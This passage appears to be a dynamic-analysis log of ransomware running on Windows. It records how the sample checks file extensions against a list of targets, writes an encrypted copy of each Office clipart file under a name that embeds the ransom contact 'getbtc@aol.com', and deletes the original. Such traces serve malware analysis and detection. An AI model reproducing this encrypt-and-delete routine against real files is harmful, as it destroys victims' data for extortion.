lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.021] SetEndOfFile (hFile=0x3d8) returned 1 [0258.023] CloseHandle (hObject=0x3d8) returned 1 [0258.023] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.023] SetEndOfFile (hFile=0x3e0) returned 1 [0258.025] CloseHandle (hObject=0x3e0) returned 1 [0258.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.054] lstrlenW (lpString=".doc") returned 4 [0258.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.054] lstrlenW (lpString=".docx") returned 5 [0258.054] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.054] lstrlenW (lpString=".pdf") returned 4 [0258.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.054] lstrlenW (lpString=".xls") returned 4 [0258.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.054] lstrlenW (lpString=".xlsx") returned 5 [0258.054] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.054] lstrlenW (lpString=".ppt") returned 4 [0258.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.054] lstrlenW (lpString=".zip") returned 4 [0258.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.054] lstrlenW (lpString=".rar") returned 4 [0258.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.054] lstrlenW (lpString=".bz2") returned 4 [0258.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.054] lstrlenW (lpString=".7z") returned 3 [0258.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.054] lstrlenW (lpString=".dbf") returned 4 [0258.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.054] lstrlenW (lpString=".1cd") returned 4 [0258.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.054] lstrlenW (lpString=".jpg") returned 4 [0258.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.055] lstrlenW (lpString=".doc") returned 4 [0258.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.055] lstrlenW (lpString=".docx") returned 5 [0258.055] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.055] lstrlenW (lpString=".pdf") returned 4 [0258.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.055] lstrlenW (lpString=".xls") returned 4 [0258.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.055] lstrlenW (lpString=".xlsx") returned 5 [0258.055] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.055] lstrlenW (lpString=".ppt") returned 4 [0258.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.055] lstrlenW (lpString=".zip") returned 4 [0258.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.055] lstrlenW (lpString=".rar") returned 4 [0258.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.055] lstrlenW (lpString=".bz2") returned 4 [0258.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.055] lstrlenW (lpString=".7z") returned 3 [0258.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.055] lstrlenW (lpString=".dbf") returned 4 [0258.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.055] lstrlenW (lpString=".1cd") returned 4 [0258.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0258.055] lstrlenW (lpString=".jpg") returned 4 [0258.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.056] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.056] lstrlenW (lpString="J0107134.WMF") returned 12 [0258.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.069] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=48388) returned 1 [0258.069] CloseHandle (hObject=0x3c0) returned 1 [0258.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 0x20 [0258.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.092] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.093] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.093] GetLastError () returned 0x0 [0258.093] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xbd04, lpOverlapped=0x0) returned 1 [0258.095] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xbd10, lpOverlapped=0x0) returned 1 [0258.097] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.097] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.097] SetEndOfFile (hFile=0x3b8) returned 1 [0258.097] CloseHandle (hObject=0x3b8) returned 1 [0258.097] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.097] SetEndOfFile (hFile=0x3a8) returned 1 [0258.100] CloseHandle (hObject=0x3a8) returned 1 [0258.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0258.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.101] lstrlenW (lpString=".doc") returned 4 [0258.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.101] lstrlenW (lpString=".docx") returned 5 [0258.101] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.101] lstrlenW (lpString=".pdf") returned 4 [0258.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.101] lstrlenW (lpString=".xls") returned 4 [0258.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.101] lstrlenW (lpString=".xlsx") returned 5 [0258.101] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.101] lstrlenW (lpString=".ppt") returned 4 [0258.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.101] lstrlenW (lpString=".zip") returned 4 [0258.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.101] lstrlenW (lpString=".rar") returned 4 [0258.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.101] lstrlenW (lpString=".bz2") returned 4 [0258.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.101] lstrlenW (lpString=".7z") returned 3 [0258.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.101] lstrlenW (lpString=".dbf") returned 4 [0258.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.101] lstrlenW (lpString=".1cd") returned 4 [0258.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.101] lstrlenW (lpString=".jpg") returned 4 [0258.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.102] lstrlenW (lpString=".doc") returned 4 [0258.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.102] lstrlenW (lpString=".docx") returned 5 [0258.102] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.102] lstrlenW (lpString=".pdf") returned 4 [0258.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.102] lstrlenW (lpString=".xls") returned 4 [0258.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.102] lstrlenW (lpString=".xlsx") returned 5 [0258.102] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.102] lstrlenW (lpString=".ppt") returned 4 [0258.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.102] lstrlenW (lpString=".zip") returned 4 [0258.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.102] lstrlenW (lpString=".rar") returned 4 [0258.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.102] lstrlenW (lpString=".bz2") returned 4 [0258.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.102] lstrlenW (lpString=".7z") returned 3 [0258.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.102] lstrlenW (lpString=".dbf") returned 4 [0258.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.102] lstrlenW (lpString=".1cd") returned 4 [0258.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0258.102] lstrlenW (lpString=".jpg") returned 4 [0258.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.102] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.102] lstrlenW (lpString="J0107146.WMF") returned 12 [0258.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.103] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=14996) returned 1 [0258.103] CloseHandle (hObject=0x3a8) returned 1 [0258.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20 [0258.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.103] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.104] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.104] GetLastError () returned 0x0 [0258.104] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0258.106] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0258.107] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.107] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.107] SetEndOfFile (hFile=0x3b8) returned 1 [0258.107] CloseHandle (hObject=0x3b8) returned 1 [0258.107] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.107] SetEndOfFile (hFile=0x3a8) returned 1 [0258.109] CloseHandle (hObject=0x3a8) returned 1 [0258.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.110] lstrlenW (lpString=".doc") returned 4 [0258.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.110] lstrlenW (lpString=".docx") returned 5 [0258.110] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0258.110] lstrlenW (lpString=".pdf") returned 4 [0258.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.110] lstrlenW (lpString=".xls") returned 4 [0258.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.110] lstrlenW (lpString=".xlsx") returned 5 [0258.110] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0258.110] lstrlenW (lpString=".ppt") returned 4 [0258.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.111] lstrlenW (lpString=".zip") returned 4 [0258.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.111] lstrlenW (lpString=".rar") returned 4 [0258.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString=".bz2") returned 4 [0258.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString=".7z") returned 3 [0258.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.111] lstrlenW (lpString=".dbf") returned 4 [0258.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.111] lstrlenW (lpString=".1cd") returned 4 [0258.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.111] lstrlenW (lpString=".jpg") returned 4 [0258.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.111] lstrlenW (lpString=".doc") returned 4 [0258.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString=".docx") returned 5 [0258.111] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0258.111] lstrlenW (lpString=".pdf") returned 4 [0258.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString=".xls") returned 4 [0258.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.111] lstrlenW (lpString=".xlsx") returned 5 [0258.111] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0258.111] lstrlenW (lpString=".ppt") returned 4 [0258.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.111] lstrlenW (lpString=".zip") returned 4 [0258.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.112] lstrlenW (lpString=".rar") returned 4 [0258.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.112] lstrlenW (lpString=".bz2") returned 4 [0258.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.112] lstrlenW (lpString=".7z") returned 3 [0258.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.112] lstrlenW (lpString=".dbf") returned 4 [0258.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.112] lstrlenW (lpString=".1cd") returned 4 [0258.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0258.112] lstrlenW (lpString=".jpg") returned 4 [0258.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.112] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.112] lstrlenW (lpString="J0107148.WMF") returned 12 [0258.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.408] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=20136) returned 1 [0258.408] CloseHandle (hObject=0x3a8) returned 1 [0258.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20 [0258.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0258.582] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.582] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0258.644] GetLastError () returned 0x0 [0258.644] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4ea8, lpOverlapped=0x0) returned 1 [0258.651] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4eb0, lpOverlapped=0x0) returned 1 [0258.652] ReadFile (in: hFile=0x37c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.652] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.652] SetEndOfFile (hFile=0x3e8) returned 1 [0258.652] CloseHandle (hObject=0x3e8) returned 1 [0258.652] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.652] SetEndOfFile (hFile=0x37c) returned 1 [0258.655] CloseHandle (hObject=0x37c) returned 1 [0258.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft 